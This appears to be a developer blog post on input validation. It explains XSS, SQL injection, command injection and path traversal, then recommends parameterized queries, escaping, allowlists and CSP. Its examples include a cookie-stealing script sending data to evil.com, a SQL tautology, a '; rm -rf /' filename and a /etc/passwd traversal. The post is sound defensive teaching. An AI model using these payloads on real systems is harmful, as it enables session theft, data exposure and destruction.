The Golden Rule of Security
Every user input is potentially malicious until proven otherwise. This is not pessimism. This is the foundation of secure software development.
A Simple Example
Consider a basic form that asks for a user's name. Your code might look like this:
const userName = req.body.name;
const greeting = `Hello, ${userName}`;
This seems harmless. A user enters "John" and you get "Hello, John". No problem.
Now consider what happens when a user enters this instead:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Your innocent greeting becomes:
Hello, <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
The browser executes this script. The user's session cookie is sent to a malicious server. The attacker now has full access to that user's account.
Input Can Come From Anywhere
Developers often think of input as HTML form fields. Input includes much more than that.
URL parameters are input.
// https://yourapp.com/profile?name=John
const name = req.query.name;
HTTP headers are input.
const userAgent = req.headers['user-agent'];
const referer = req.headers['referer'];
Cookies are input.
const sessionId = req.cookies.session;
File uploads are input.
const uploadedFile = req.file;
WebSocket messages are input.
socket.on('message', (data) => {
// data is input
});
LocalStorage and sessionStorage are input.
const preferences = localStorage.getItem('settings');
Even database content becomes input when you display it. This is called second-order injection.
The Problem Is Not Just XSS
Cross-site scripting is one problem. There are many others.
SQL injection happens when user input becomes part of a database query.
// Never do this
const query = `SELECT * FROM users WHERE email = '${userEmail}'`;
A user enters ' OR '1'='1 as their email. The query becomes:
SELECT * FROM users WHERE email = '' OR '1'='1'
This returns every user in the database. The attacker bypasses authentication entirely.
Command injection happens when user input reaches the system shell.
// Never do this
const userFile = req.body.filename;
exec(`cat ${userFile}`);
A user enters ; rm -rf / as the filename. The system tries to run cat followed by a destructive command.
Path traversal happens when user input builds file paths.
// Never do this
const userFile = req.body.filepath;
fs.readFile(`/uploads/${userFile}`);
A user enters ../../../etc/passwd to read your system files.
The Server Cannot Trust the Client
Every piece of data arriving at your server came from somewhere outside your control.
A user can modify any data sent from their browser. They can use browser developer tools to change hidden form fields. They can disable JavaScript validation. They can intercept and modify network requests using proxies like Burp Suite or OWASP ZAP.
Client-side validation is for user experience, not security. It makes forms more convenient. It does not stop attackers.
Common Mistakes Developers Make
Trusting hidden form fields is a common error.
<input type="hidden" name="user_role" value="user" />
An attacker changes "user" to "admin". Your server accepts it.
Trusting the Referer header is unreliable. This header can be spoofed or removed.
Trusting the User-Agent header for security decisions is dangerous. This header is trivial to fake.
Using JavaScript validation on the client as the only validation is not security. It is a suggestion to honest users.
The Correct Approach
Assume all input is malicious. Validate everything. Sanitize when needed. Use safe APIs by default.
Validate input structure and type.
// Good - validate email format
const email = req.body.email;
if (!isValidEmailFormat(email)) {
return rejectRequest();
}
Use parameterized queries for databases.
// Good - parameterized query
const query = 'SELECT * FROM users WHERE email = ?';
db.query(query, [userEmail]);
Escape output based on where it goes.
// Good - escape HTML output
const safeName = escapeHtml(userName);
res.send(`<div>${safeName}</div>`);
Use allowlists not blocklists. Define what is allowed. Do not try to list everything that is forbidden.
Define a maximum length for all text inputs. A username does not need to be 10,000 characters long.
Set a maximum size for uploaded files. A profile picture does not need to be 100 megabytes.
Define the expected character set. An age field should only contain digits.
The Defense in Depth Principle
One validation layer is not enough.
Input validation at the API level stops many attacks.
Parameterized queries prevent SQL injection even if validation fails.
Output escaping prevents XSS even if something slips through.
Content Security Policy provides another layer of protection.
Each layer on its own can fail. Together they create a strong defense.
A Real-World Example
Consider a comment system. User input passes through multiple stages.
First, validate the input. Check length, character set, and structure. Reject anything suspicious.
Second, use a database parameterized query to store the comment. SQL injection becomes impossible.
Third, when displaying the comment, use a library like DOMPurify to sanitize HTML. This removes script tags and dangerous attributes.
Fourth, set a Content Security Policy that disallows inline scripts. Even if a script tag appears, the browser refuses to run it.

Top comments (0)